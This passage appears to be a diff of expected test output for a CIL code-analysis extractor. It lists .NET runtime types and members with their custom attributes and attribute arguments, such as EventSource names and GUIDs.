System.Runtime.InteropServices.ComTypes.ITypeInfo2 | [InterfaceTypeAttribute(...)] | +| System.Runtime.InteropServices.ComTypes.ITypeLib | [InterfaceTypeAttribute(...)] | +| System.Runtime.InteropServices.ComTypes.ITypeLib2 | [InterfaceTypeAttribute(...)] | +| System.Runtime.InteropServices.ComTypes.LIBFLAGS | [FlagsAttribute(...)] | +| System.Runtime.InteropServices.ComTypes.PARAMFLAG | [FlagsAttribute(...)] | +| System.Runtime.InteropServices.ComTypes.TYPEFLAGS | [FlagsAttribute(...)] | +| System.Runtime.InteropServices.ComTypes.VARFLAGS | [FlagsAttribute(...)] | +| System.Runtime.InteropServices.ComVisibleAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.InteropServices.ComVisibleAttribute.<Value>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.InteropServices.CurrencyWrapper.<WrappedObject>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.InteropServices.DefaultCharSetAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.InteropServices.DefaultCharSetAttribute.<CharSet>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.InteropServices.DefaultDllImportSearchPathsAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.InteropServices.DefaultDllImportSearchPathsAttribute.<Paths>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.InteropServices.DefaultParameterValueAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.InteropServices.DefaultParameterValueAttribute.<Value>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.InteropServices.DispIdAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.InteropServices.DispIdAttribute.<Value>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.InteropServices.DispatchWrapper.<WrappedObject>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.InteropServices.DllImportAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.InteropServices.DllImportAttribute.<Value>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.InteropServices.DllImportSearchPath | [FlagsAttribute(...)] | +| System.Runtime.InteropServices.ErrorWrapper.<ErrorCode>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.InteropServices.FieldOffsetAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.InteropServices.FieldOffsetAttribute.<Value>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.InteropServices.GuidAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.InteropServices.GuidAttribute.<Value>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.InteropServices.HandleRef | [IsReadOnlyAttribute(...)] | +| System.Runtime.InteropServices.InAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.InteropServices.InterfaceTypeAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.InteropServices.InterfaceTypeAttribute.<Value>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.InteropServices.LCIDConversionAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.InteropServices.LCIDConversionAttribute.<Value>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.InteropServices.Marshal.<>c | [CompilerGeneratedAttribute(...)] | +| System.Runtime.InteropServices.MarshalAsAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.InteropServices.MarshalAsAttribute.<Value>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.InteropServices.MemoryMarshal.<ToEnumerable>d__3`1 | [CompilerGeneratedAttribute(...)] | +| System.Runtime.InteropServices.NativeCallableAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.InteropServices.OptionalAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.InteropServices.OutAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.InteropServices.PreserveSigAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.InteropServices.ProgIdAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.InteropServices.ProgIdAttribute.<Value>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.InteropServices.StructLayoutAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.InteropServices.StructLayoutAttribute.<Value>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.InteropServices.TypeIdentifierAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.InteropServices.TypeIdentifierAttribute.<Identifier>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.InteropServices.TypeIdentifierAttribute.<Scope>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.InteropServices.UnknownWrapper.<WrappedObject>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.InteropServices.UnmanagedFunctionPointerAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.InteropServices.UnmanagedFunctionPointerAttribute.<CallingConvention>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.InteropServices.VariantWrapper.<WrappedObject>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.Intrinsics.Vector64 | [ExtensionAttribute(...)] | +| System.Runtime.Intrinsics.Vector64DebugView`1 | [IsReadOnlyAttribute(...)] | +| System.Runtime.Intrinsics.Vector64`1 | [DebuggerTypeProxyAttribute(...)] | +| System.Runtime.Intrinsics.Vector64`1 | [IntrinsicAttribute(...)] | +| System.Runtime.Intrinsics.Vector64`1 | [IsReadOnlyAttribute(...)] | +| System.Runtime.Intrinsics.Vector128 | [ExtensionAttribute(...)] | +| System.Runtime.Intrinsics.Vector128DebugView`1 | [IsReadOnlyAttribute(...)] | +| System.Runtime.Intrinsics.Vector128`1 | [DebuggerTypeProxyAttribute(...)] | +| System.Runtime.Intrinsics.Vector128`1 | [IntrinsicAttribute(...)] | +| System.Runtime.Intrinsics.Vector128`1 | [IsReadOnlyAttribute(...)] | +| System.Runtime.Intrinsics.Vector256 | [ExtensionAttribute(...)] | +| System.Runtime.Intrinsics.Vector256DebugView`1 | [IsReadOnlyAttribute(...)] | +| System.Runtime.Intrinsics.Vector256`1 | [DebuggerTypeProxyAttribute(...)] | +| System.Runtime.Intrinsics.Vector256`1 | [IntrinsicAttribute(...)] | +| System.Runtime.Intrinsics.Vector256`1 | [IsReadOnlyAttribute(...)] | +| System.Runtime.Intrinsics.X86.Aes | [IntrinsicAttribute(...)] | +| System.Runtime.Intrinsics.X86.Avx | [IntrinsicAttribute(...)] | +| System.Runtime.Intrinsics.X86.Avx2 | [IntrinsicAttribute(...)] | +| System.Runtime.Intrinsics.X86.Bmi1 | [IntrinsicAttribute(...)] | +| System.Runtime.Intrinsics.X86.Bmi1.X64 | [IntrinsicAttribute(...)] | +| System.Runtime.Intrinsics.X86.Bmi2 | [IntrinsicAttribute(...)] | +| System.Runtime.Intrinsics.X86.Bmi2.X64 | [IntrinsicAttribute(...)] | +| System.Runtime.Intrinsics.X86.Fma | [IntrinsicAttribute(...)] | +| System.Runtime.Intrinsics.X86.Lzcnt | [IntrinsicAttribute(...)] | +| System.Runtime.Intrinsics.X86.Lzcnt.X64 | [IntrinsicAttribute(...)] | +| System.Runtime.Intrinsics.X86.Pclmulqdq | [IntrinsicAttribute(...)] | +| System.Runtime.Intrinsics.X86.Popcnt | [IntrinsicAttribute(...)] | +| System.Runtime.Intrinsics.X86.Popcnt.X64 | [IntrinsicAttribute(...)] | +| System.Runtime.Intrinsics.X86.Sse | [IntrinsicAttribute(...)] | +| System.Runtime.Intrinsics.X86.Sse2 | [IntrinsicAttribute(...)] | +| System.Runtime.Intrinsics.X86.Sse2.X64 | [IntrinsicAttribute(...)] | +| System.Runtime.Intrinsics.X86.Sse3 | [IntrinsicAttribute(...)] | +| System.Runtime.Intrinsics.X86.Sse41 | [IntrinsicAttribute(...)] | +| System.Runtime.Intrinsics.X86.Sse41.X64 | [IntrinsicAttribute(...)] | +| System.Runtime.Intrinsics.X86.Sse42 | [IntrinsicAttribute(...)] | +| System.Runtime.Intrinsics.X86.Sse42.X64 | [IntrinsicAttribute(...)] | +| System.Runtime.Intrinsics.X86.Sse.X64 | [IntrinsicAttribute(...)] | +| System.Runtime.Intrinsics.X86.Ssse3 | [IntrinsicAttribute(...)] | +| System.Runtime.Loader.AssemblyDependencyResolver.<>c__DisplayClass6_0 | [CompilerGeneratedAttribute(...)] | +| System.Runtime.Loader.AssemblyDependencyResolver.corehost_error_writer_fn | [UnmanagedFunctionPointerAttribute(...)] | +| System.Runtime.Loader.AssemblyDependencyResolver.corehost_resolve_component_dependencies_result_fn | [UnmanagedFunctionPointerAttribute(...)] | +| System.Runtime.Loader.AssemblyLoadContext.<get_All>d__88 | [CompilerGeneratedAttribute(...)] | +| System.Runtime.Loader.AssemblyLoadContext.<get_Assemblies>d__58 | [CompilerGeneratedAttribute(...)] | +| System.Runtime.Loader.AssemblyLoadContext.AssemblyLoad | [CompilerGeneratedAttribute(...)] | +| System.Runtime.Loader.AssemblyLoadContext.AssemblyResolve | [CompilerGeneratedAttribute(...)] | +| System.Runtime.Loader.AssemblyLoadContext.ContextualReflectionScope | [EditorBrowsableAttribute(...)] | +| System.Runtime.Loader.AssemblyLoadContext.ResourceResolve | [CompilerGeneratedAttribute(...)] | +| System.Runtime.Loader.AssemblyLoadContext.TypeResolve | [CompilerGeneratedAttribute(...)] | +| System.Runtime.Loader.AssemblyLoadContext._resolving | [CompilerGeneratedAttribute(...)] | +| System.Runtime.Loader.AssemblyLoadContext._resolvingUnmanagedDll | [CompilerGeneratedAttribute(...)] | +| System.Runtime.Loader.AssemblyLoadContext._unloading | [CompilerGeneratedAttribute(...)] | +| System.Runtime.Loader.LibraryNameVariation.<DetermineLibraryNameVariations>d__5 | [CompilerGeneratedAttribute(...)] | +| System.Runtime.Serialization.DeserializationToken | [IsReadOnlyAttribute(...)] | +| System.Runtime.Serialization.DeserializationTracker.<DeserializationInProgress>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.Serialization.OnDeserializedAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.Serialization.OnDeserializingAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.Serialization.OnSerializedAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.Serialization.OnSerializingAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.Serialization.OptionalFieldAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.Serialization.SafeSerializationEventArgs.<StreamingContext>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.Serialization.SerializationEntry | [IsReadOnlyAttribute(...)] | +| System.Runtime.Serialization.SerializationInfo.<AsyncDeserializationInProgress>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.Serialization.SerializationInfo.<IsAssemblyNameSetExplicit>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.Serialization.SerializationInfo.<IsFullTypeNameSetExplicit>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.Serialization.StreamingContext | [IsReadOnlyAttribute(...)] | +| System.Runtime.Serialization.StreamingContextStates | [FlagsAttribute(...)] | +| System.Runtime.TargetedPatchingOptOutAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.TargetedPatchingOptOutAttribute.<Reason>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.Versioning.NonVersionableAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.Versioning.TargetFrameworkAttribute | [AttributeUsageAttribute(...)] | +| System.RuntimeArgumentHandle | [IsByRefLikeAttribute(...)] | +| System.RuntimeType.RuntimeTypeCache.Filter | [IsReadOnlyAttribute(...)] | +| System.STAThreadAttribute | [AttributeUsageAttribute(...)] | +| System.Security.AllowPartiallyTrustedCallersAttribute | [AttributeUsageAttribute(...)] | +| System.Security.AllowPartiallyTrustedCallersAttribute.<PartialTrustVisibilityLevel>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Security.SecurityCriticalAttribute | [AttributeUsageAttribute(...)] | +| System.Security.SecurityCriticalAttribute.<Scope>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Security.SecurityElement.<>c | [CompilerGeneratedAttribute(...)] | +| System.Security.SecurityException.<Demanded>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Security.SecurityException.<DenySetInstance>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Security.SecurityException.<FailedAssemblyInfo>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Security.SecurityException.<GrantedSet>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Security.SecurityException.<Method>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Security.SecurityException.<PermissionState>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Security.SecurityException.<PermissionType>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Security.SecurityException.<PermitOnlySetInstance>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Security.SecurityException.<RefusedSet>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Security.SecurityException.<Url>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Security.SecurityRulesAttribute | [AttributeUsageAttribute(...)] | +| System.Security.SecurityRulesAttribute.<RuleSet>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Security.SecurityRulesAttribute.<SkipVerificationInFullTrust>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Security.SecuritySafeCriticalAttribute | [AttributeUsageAttribute(...)] | +| System.Security.SecurityTransparentAttribute | [AttributeUsageAttribute(...)] | +| System.Security.SecurityTreatAsSafeAttribute | [AttributeUsageAttribute(...)] | +| System.Security.SuppressUnmanagedCodeSecurityAttribute | [AttributeUsageAttribute(...)] | +| System.Security.UnverifiableCodeAttribute | [AttributeUsageAttribute(...)] | +| System.SerializableAttribute | [AttributeUsageAttribute(...)] | +| System.SpanHelpers | [ExtensionAttribute(...)] | +| System.SpanHelpers.ComparerComparable`2 | [IsReadOnlyAttribute(...)] | +| System.Span`1 | [DebuggerTypeProxyAttribute(...)] | +| System.Span`1 | [IsByRefLikeAttribute(...)] | +| System.Span`1 | [IsReadOnlyAttribute(...)] | +| System.Span`1 | [NonVersionableAttribute(...)] | +| System.Span`1.Enumerator | [IsByRefLikeAttribute(...)] | +| System.StringSplitOptions | [FlagsAttribute(...)] | +| System.TermInfo.ParameterizedStrings.FormatParam | [IsReadOnlyAttribute(...)] | +| System.TermInfo.ParameterizedStrings.t_cachedOneElementArgsArray | [ThreadStaticAttribute(...)] | +| System.TermInfo.ParameterizedStrings.t_cachedStack | [ThreadStaticAttribute(...)] | +| System.TermInfo.ParameterizedStrings.t_cachedTwoElementArgsArray | [ThreadStaticAttribute(...)] | +| System.Text.CodePageDataItem.<BodyName>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Text.CodePageDataItem.<CodePage>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Text.CodePageDataItem.<DisplayName>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Text.CodePageDataItem.<Flags>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Text.CodePageDataItem.<HeaderName>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Text.CodePageDataItem.<UIFamilyCodePage>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Text.CodePageDataItem.<WebName>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Text.EncodingExtensions | [ExtensionAttribute(...)] | +| System.Text.EncodingInfo.<CodePage>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Text.EncodingInfo.<DisplayName>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Text.EncodingInfo.<Name>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Text.Rune | [IsReadOnlyAttribute(...)] | +| System.Text.SpanRuneEnumerator | [IsByRefLikeAttribute(...)] | +| System.Text.StringBuilderCache.t_cachedInstance | [ThreadStaticAttribute(...)] | +| System.Text.StringOrCharArray | [IsReadOnlyAttribute(...)] | +| System.Text.ValueStringBuilder | [IsByRefLikeAttribute(...)] | +| System.ThreadStaticAttribute | [AttributeUsageAttribute(...)] | +| System.Threading.AsyncLocalValueChangedArgs`1 | [IsReadOnlyAttribute(...)] | +| System.Threading.AsyncLocalValueChangedArgs`1.<CurrentValue>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Threading.AsyncLocalValueChangedArgs`1.<PreviousValue>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Threading.AsyncLocalValueChangedArgs`1.<ThreadContextChanged>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Threading.AsyncLocalValueMap.<Empty>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Threading.CancellationToken | [IsReadOnlyAttribute(...)] | +| System.Threading.CancellationToken.<>c | [CompilerGeneratedAttribute(...)] | +| System.Threading.CancellationTokenRegistration | [IsReadOnlyAttribute(...)] | +| System.Threading.CancellationTokenSource.<>c | [CompilerGeneratedAttribute(...)] | +| System.Threading.CancellationTokenSource.CallbackNode.<>c | [CompilerGeneratedAttribute(...)] | +| System.Threading.CancellationTokenSource.LinkedNCancellationTokenSource.<>c | [CompilerGeneratedAttribute(...)] | +| System.Threading.QueueUserWorkItemCallback.<>c | [CompilerGeneratedAttribute(...)] | +| System.Threading.ReaderWriterLockSlim.WaiterStates | [FlagsAttribute(...)] | +| System.Threading.ReaderWriterLockSlim.t_rwc | [ThreadStaticAttribute(...)] | +| System.Threading.SemaphoreSlim.<>c | [CompilerGeneratedAttribute(...)] | +| System.Threading.SemaphoreSlim.<WaitUntilCountOrTimeoutAsync>d__33 | [CompilerGeneratedAttribute(...)] | +| System.Threading.SpinLock | [DebuggerTypeProxyAttribute(...)] | +| System.Threading.SynchronizationContext.<>c | [CompilerGeneratedAttribute(...)] | +| System.Threading.Tasks.AwaitTaskContinuation.<>c | [CompilerGeneratedAttribute(...)] | +| System.Threading.Tasks.ConcurrentExclusiveSchedulerPair | [DebuggerTypeProxyAttribute(...)] | +| System.Threading.Tasks.ConcurrentExclusiveSchedulerPair.<>c | [CompilerGeneratedAttribute(...)] | +| System.Threading.Tasks.ConcurrentExclusiveSchedulerPair.ConcurrentExclusiveTaskScheduler | [DebuggerTypeProxyAttribute(...)] | +| System.Threading.Tasks.ConcurrentExclusiveSchedulerPair.ProcessingMode | [FlagsAttribute(...)] | +| System.Threading.Tasks.GenericDelegateCache`2.<>c | [CompilerGeneratedAttribute(...)] | +| System.Threading.Tasks.InternalTaskOptions | [FlagsAttribute(...)] | +| System.Threading.Tasks.SingleProducerSingleConsumerQueue`1 | [DebuggerTypeProxyAttribute(...)] | +| System.Threading.Tasks.SingleProducerSingleConsumerQueue`1.<GetEnumerator>d__11 | [CompilerGeneratedAttribute(...)] | +| System.Threading.Tasks.Sources.ManualResetValueTaskSourceCore`1.<>c | [CompilerGeneratedAttribute(...)] | +| System.Threading.Tasks.Sources.ManualResetValueTaskSourceCore`1.<RunContinuationsAsynchronously>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Threading.Tasks.Sources.ManualResetValueTaskSourceCore`1._result | [AllowNullAttribute(...)] | +| System.Threading.Tasks.Sources.ManualResetValueTaskSourceCore`1._result | [MaybeNullAttribute(...)] | +| System.Threading.Tasks.Sources.ValueTaskSourceOnCompletedFlags | [FlagsAttribute(...)] | +| System.Threading.Tasks.SynchronizationContextAwaitTaskContinuation.<>c | [CompilerGeneratedAttribute(...)] | +| System.Threading.Tasks.SynchronizationContextAwaitTaskContinuation.<>c__DisplayClass6_0 | [CompilerGeneratedAttribute(...)] | +| System.Threading.Tasks.SynchronizationContextTaskScheduler.<>c | [CompilerGeneratedAttribute(...)] | +| System.Threading.Tasks.Task | [DebuggerTypeProxyAttribute(...)] | +| System.Threading.Tasks.Task.<>c | [CompilerGeneratedAttribute(...)] | +| System.Threading.Tasks.Task.<CompletedTask>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Threading.Tasks.Task.<Factory>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Threading.Tasks.Task.DelayPromise.<>c | [CompilerGeneratedAttribute(...)] | +| System.Threading.Tasks.Task.DelayPromiseWithCancellation.<>c | [CompilerGeneratedAttribute(...)] | +| System.Threading.Tasks.Task.t_currentTask | [ThreadStaticAttribute(...)] | +| System.Threading.Tasks.TaskAsyncEnumerableExtensions | [ExtensionAttribute(...)] | +| System.Threading.Tasks.TaskContinuationOptions | [FlagsAttribute(...)] | +| System.Threading.Tasks.TaskCreationOptions | [FlagsAttribute(...)] | +| System.Threading.Tasks.TaskExtensions | [ExtensionAttribute(...)] | +| System.Threading.Tasks.TaskFactory`1.<>c | [CompilerGeneratedAttribute(...)] | +| System.Threading.Tasks.TaskFactory`1.<>c__DisplayClass32_0 | [CompilerGeneratedAttribute(...)] | +| System.Threading.Tasks.TaskFactory`1.<>c__DisplayClass35_0 | [CompilerGeneratedAttribute(...)] | +| System.Threading.Tasks.TaskFactory`1.<>c__DisplayClass38_0`1 | [CompilerGeneratedAttribute(...)] | +| System.Threading.Tasks.TaskFactory`1.<>c__DisplayClass41_0`2 | [CompilerGeneratedAttribute(...)] | +| System.Threading.Tasks.TaskFactory`1.<>c__DisplayClass44_0`3 | [CompilerGeneratedAttribute(...)] | +| System.Threading.Tasks.TaskFactory`1.FromAsyncTrimPromise`1.m_thisRef | [AllowNullAttribute(...)] | +| System.Threading.Tasks.TaskFactory`1.FromAsyncTrimPromise`1.m_thisRef | [MaybeNullAttribute(...)] | +| System.Threading.Tasks.TaskScheduler | [DebuggerTypeProxyAttribute(...)] | +| System.Threading.Tasks.TaskScheduler.UnobservedTaskException | [CompilerGeneratedAttribute(...)] | +| System.Threading.Tasks.TaskSchedulerAwaitTaskContinuation.<>c | [CompilerGeneratedAttribute(...)] | +| System.Threading.Tasks.TaskToApm.<>c__DisplayClass3_0 | [CompilerGeneratedAttribute(...)] | +| System.Threading.Tasks.Task`1 | [DebuggerTypeProxyAttribute(...)] | +| System.Threading.Tasks.Task`1.TaskWhenAnyCast.<>c | [CompilerGeneratedAttribute(...)] | +| System.Threading.Tasks.Task`1.m_result | [MaybeNullAttribute(...)] | +| System.Threading.Tasks.ThreadPoolTaskScheduler.<>c | [CompilerGeneratedAttribute(...)] | +| System.Threading.Tasks.ThreadPoolTaskScheduler.<FilterTasksFromWorkItems>d__6 | [CompilerGeneratedAttribute(...)] | +| System.Threading.Tasks.UnwrapPromise`1.<>c | [CompilerGeneratedAttribute(...)] | +| System.Threading.Tasks.ValueTask | [AsyncMethodBuilderAttribute(...)] | +| System.Threading.Tasks.ValueTask | [IsReadOnlyAttribute(...)] | +| System.Threading.Tasks.ValueTask.ValueTaskSourceAsTask.<>c | [CompilerGeneratedAttribute(...)] | +| System.Threading.Tasks.ValueTask`1 | [AsyncMethodBuilderAttribute(...)] | +| System.Threading.Tasks.ValueTask`1 | [IsReadOnlyAttribute(...)] | +| System.Threading.Tasks.ValueTask`1.ValueTaskSourceAsTask.<>c | [CompilerGeneratedAttribute(...)] | +| System.Threading.Tasks.ValueTask`1._result | [AllowNullAttribute(...)] | +| System.Threading.Thread.t_currentProcessorIdCache | [ThreadStaticAttribute(...)] | +| System.Threading.Thread.t_currentThread | [ThreadStaticAttribute(...)] | +| System.Threading.ThreadHandle | [IsReadOnlyAttribute(...)] | +| System.Threading.ThreadLocal`1 | [DebuggerTypeProxyAttribute(...)] | +| System.Threading.ThreadLocal`1.LinkedSlot._value | [AllowNullAttribute(...)] | +| System.Threading.ThreadLocal`1.LinkedSlot._value | [MaybeNullAttribute(...)] | +| System.Threading.ThreadLocal`1.ts_finalizationHelper | [ThreadStaticAttribute(...)] | +| System.Threading.ThreadLocal`1.ts_slotArray | [ThreadStaticAttribute(...)] | +| System.Threading.ThreadPool.<GetLocallyQueuedWorkItems>d__51 | [CompilerGeneratedAttribute(...)] | +| System.Threading.ThreadPool.<GetQueuedWorkItems>d__50 | [CompilerGeneratedAttribute(...)] | +| System.Threading.ThreadPoolGlobals.<>c | [CompilerGeneratedAttribute(...)] | +| System.Threading.ThreadPoolWorkQueueThreadLocals.threadLocals | [ThreadStaticAttribute(...)] | +| System.Threading.ThreadState | [FlagsAttribute(...)] | +| System.Threading.TimerQueue.<ActiveCount>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Threading.TimerQueue.<Instances>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Threading.TimerQueueTimer.<>c | [CompilerGeneratedAttribute(...)] | +| System.Threading.WaitHandle.t_safeWaitHandlesForRent | [ThreadStaticAttribute(...)] | +| System.Threading.WaitHandleExtensions | [ExtensionAttribute(...)] | +| System.ThrowHelper | [StackTraceHiddenAttribute(...)] | +| System.TimeSpan | [IsReadOnlyAttribute(...)] | +| System.TimeZoneInfo.<>c | [CompilerGeneratedAttribute(...)] | +| System.TimeZoneInfo.<>c__DisplayClass125_0 | [CompilerGeneratedAttribute(...)] | +| System.TimeZoneInfo.TransitionTime | [IsReadOnlyAttribute(...)] | +| System.TimeZoneInfoOptions | [FlagsAttribute(...)] | +| System.TupleExtensions | [ExtensionAttribute(...)] | +| System.Type.<>c | [CompilerGeneratedAttribute(...)] | +| System.TypedReference | [IsByRefLikeAttribute(...)] | +| System.TypedReference | [NonVersionableAttribute(...)] | +| System.UIntPtr | [IsReadOnlyAttribute(...)] | +| System.UIntPtr.Zero | [IntrinsicAttribute(...)] | +| System.__Canon | [ClassInterfaceAttribute(...)] | +| System.__DTString | [IsByRefLikeAttribute(...)] | +| bool | [IsReadOnlyAttribute(...)] | +| byte | [IsReadOnlyAttribute(...)] | +| char | [IsReadOnlyAttribute(...)] | +| decimal | [IsReadOnlyAttribute(...)] | +| decimal | [NonVersionableAttribute(...)] | +| double | [IsReadOnlyAttribute(...)] | +| float | [IsReadOnlyAttribute(...)] | +| int | [IsReadOnlyAttribute(...)] | +| long | [IsReadOnlyAttribute(...)] | +| object | [ClassInterfaceAttribute(...)] | +| object[] System.Collections.ArrayList.ArrayListDebugView.Items | [DebuggerBrowsableAttribute(...)] | +| sbyte | [IsReadOnlyAttribute(...)] | +| short | [IsReadOnlyAttribute(...)] | +| string.Empty | [IntrinsicAttribute(...)] | +| uint | [IsReadOnlyAttribute(...)] | +| ulong | [IsReadOnlyAttribute(...)] | +| ushort | [IsReadOnlyAttribute(...)] | +attrArgNamed +| System.Buffers.ArrayPoolEventSource | [EventSourceAttribute(...)] | Guid | 0866B2B8-5CEF-5DB9-2612-0C0FFD814A44 | +| System.Buffers.ArrayPoolEventSource | [EventSourceAttribute(...)] | Name | System.Buffers.ArrayPoolEventSource | +| System.Collections.KeyValuePairs | [DebuggerDisplayAttribute(...)] | Name | [{_key}] | +| System.Diagnostics.Tracing.FrameworkEventSource | [EventSourceAttribute(...)] | Guid | 8E9F5090-2D75-4d03-8A81-E5AFBF85DAF1 | +| System.Diagnostics.Tracing.FrameworkEventSource | [EventSourceAttribute(...)] | Name | System.Diagnostics.Eventing.FrameworkEventSource | +| System.Diagnostics.Tracing.NativeRuntimeEventSource | [EventSourceAttribute(...)] | Guid | 5E5BB766-BBFC-5662-0548-1D44FAD9BB56 | +| System.Diagnostics.Tracing.NativeRuntimeEventSource | [EventSourceAttribute(...)] | Name | Microsoft-Windows-DotNETRuntime | +| System.Diagnostics.Tracing.RuntimeEventSource | [EventSourceAttribute(...)] | Guid | 49592C0F-5A05-516D-AA4B-A64E02026C89 | +| System.Diagnostics.Tracing.RuntimeEventSource | [EventSourceAttribute(...)] | Name | System.Runtime | +| System.Globalization.CompareInfo.m_SortVersion | [OptionalFieldAttribute(...)] | VersionAdded | 3 | +| System.Globalization.CompareInfo.m_name | [OptionalFieldAttribute(...)] | VersionAdded | 2 | +| System.Text.Encoding._isReadOnly | [OptionalFieldAttribute(...)] | VersionAdded | 2 | +| System.Threading.Tasks.TplEventSource | [EventSourceAttribute(...)] | Guid | 2e5dba47-a3d2-4d16-8ee0-6671ffdcd7b5 | +| System.Threading.Tasks.TplEventSource | [EventSourceAttribute(...)] | LocalizationResources | System.Private.CoreLib.Resources.Strings | +| System.Threading.Tasks.TplEventSource | [EventSourceAttribute(...)] | Name | System.Threading.Tasks.TplEventSource | +attrArgPositional +| !0 System.ArraySegment`1.Enumerator.Current | [NullableAttribute(...)] | 0 | 1 | +| !0 System.Collections.Generic.Dictionary`2.KeyCollection.Enumerator.Current | [NullableAttribute(...)] | 0 | 1 | +| !0 System.Collections.Generic.IAsyncEnumerator`1.Current | [NullableAttribute(...)] | 0 | 1 | +| !0 System.Collections.Generic.IEnumerator`1.Current | [NullableAttribute(...)] | 0 | 1 | +| !0 System.Collections.Generic.List`1.Enumerator.Current | [NullableAttribute(...)] | 0 | 1 | +| !0 System.Runtime.CompilerServices.ConfiguredCancelableAsyncEnumerable`1.Enumerator.Current | [NullableAttribute(...)] | 0 | 1 | +| !0 System.Tuple`1.Item1 | [NullableAttribute(...)] | 0 | 1 | +| !0 System.Tuple`2.Item1 | [NullableAttribute(...)] | 0 | 1 | +| !0[] System.ArraySegment`1.Array | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| !1 System.Collections.Generic.Dictionary`2.ValueCollection.Enumerator.Current | [NullableAttribute(...)] | 0 | 1 | +| !1 System.Tuple`2.Item2 | [NullableAttribute(...)] | 0 | 1 | +| Internal.Runtime.CompilerServices.Unsafe | [CLSCompliantAttribute(...)] | 0 | False | +| Internal.Runtime.CompilerServices.Unsafe | [NullableAttribute(...)] | 0 | 0 | +| 